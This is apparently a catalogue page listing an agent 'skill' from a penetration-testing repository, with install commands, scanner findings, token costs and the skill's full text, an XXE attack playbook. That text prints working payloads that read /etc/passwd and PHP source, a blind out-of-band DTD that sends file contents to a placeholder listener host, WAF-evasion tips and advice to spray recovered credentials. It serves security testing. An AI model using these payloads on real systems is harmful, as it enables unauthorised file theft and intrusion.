Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add s0ld13rr/pentestcode --skill xxegit clone --depth 1 https://github.com/s0ld13rr/pentestcodeWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/s0ld13rr/pentestcode/xxe)<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/xxe"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/xxe/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/xxe"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/xxe.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 5 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Privilege Escalation · line 15 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 18 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 33 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 36 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Prompt Injection · line 28 Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.Fix: Audit all comments and invisible characters. Remove any instructions that direct the agent to perform unauthorized actions. Use plain, reviewable content.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00094 | $0.00654 |
| Opus 5.5 | $0.00038 | $0.00262 |
| Sonnet 5.5 | $0.00019 | $0.00131 |
| Haiku 4.5 | $0.00009 | $0.00065 |
Grade A, and why
web-xxe scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
What it actually says
XXE (XML External Entity)
When this fires
The server parses attacker-influenced XML: XML/SOAP APIs, SAML, RSS import, or office/SVG file uploads (DOCX/XLSX are zipped XML — inject into word/document.xml etc.).
Detect
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<root>&x;</root>
If /etc/passwd comes back in the response → classic in-band XXE. No reflection → test blind (OOB) below.
Decide
- Entity value reflected in a response field → in-band file read.
- Not reflected but parser fetches your DTD → blind XXE → OOB exfil via external DTD.
- Non-printable/multiline files break the parser → use
php://filterbase64 wrapper (PHP) to read source. - Entity fetches arbitrary URLs → XXE→SSRF (hit internal services / cloud metadata; see web-ssrf).
Exploit → PROVE IMPACT
<!-- source disclosure (PHP): -->
<!DOCTYPE r [<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=index.php">]><root>&x;</root>
<!-- blind OOB exfil (host evil.dtd on your listener): -->
<!DOCTYPE r [<!ENTITY % p SYSTEM "http://<OOB>/evil.dtd"> %p;]>
<!-- evil.dtd: -->
<!ENTITY % f SYSTEM "file:///etc/passwd">
<!ENTITY % e "<!ENTITY % x SYSTEM 'http://<OOB>/?d=%f;'>"> %e; %x;
Proof required: contents of a server file (/etc/passwd, app source, a secret) or a provable OOB fetch of a file's bytes. Read creds → add_credential + cred_spray.
Tooling
nuclei -tags xxe; for DOCX/XLSX: unzip, inject into the XML part, re-zip, upload. Host the OOB DTD on your attacker box (internal targets: transfer the listener inward).
False positives / pitfalls
- Parser has external entities disabled → in-band fails; blind/parameter-entity variant may still work; if the DTD isn't fetched at all, it's patched.
- WAF blocks
<!DOCTYPE>→ try UTF-16/UTF-7 encoding, or a nested/parameter-entity form. - Reflected-but-not-parsed input = not XXE.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 45 lines · 94 tokens per session scan A d89013c1e00c
web-xxe is a skill published in the GitHub repository s0ld13rr/pentestcode (851 stars, last pushed 15d ago), licensed MIT. It adds 94 tokens to every session and 654 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
lictor-security-check
Pre-release security audit for ANY project — AI-built or hand-written, web or mobile. Scans the codebase for the full range of real-world risks that get apps breached: leaked API & AI-provider keys, exposed configs/secrets, broken auth & access control (IDOR), injection (SQL/XSS/command), SSRF, open databases & cloud…
lictor-rotate
Walks the user through rotating a leaked API key — step by step, provider-specific. Knows the exact URL to visit, the exact button to click, and how to verify the rotation worked. Supports Stripe, OpenAI, Anthropic, Google Cloud / AI Studio, GitHub, AWS, Slack, Supabase, Firebase, Postmark, and generic OAuth providers.
lictor-explain
Takes any security finding, error message, or jargon-heavy security advice and explains it in plain English. Use this when someone is confused by what /lictor-security-check found, or when they got a security warning from another tool and don't understand it.
openai-patterns
Production OpenAI API patterns — model selection, prompt engineering, function calling, streaming, error handling, cost control, and structured outputs.
lictor-fix-it
Applies the fixes recommended by /lictor-security-check, with the user's explicit permission for each change. Walks through findings one at a time, shows the proposed change, gets approval, applies, runs tests if available, and moves on. Some fixes (rotating leaked credentials) require the user to act outside Claude …
pydantic-ai
Build production-ready AI agents with PydanticAI — type-safe tool use, structured outputs, dependency injection, and multi-model support.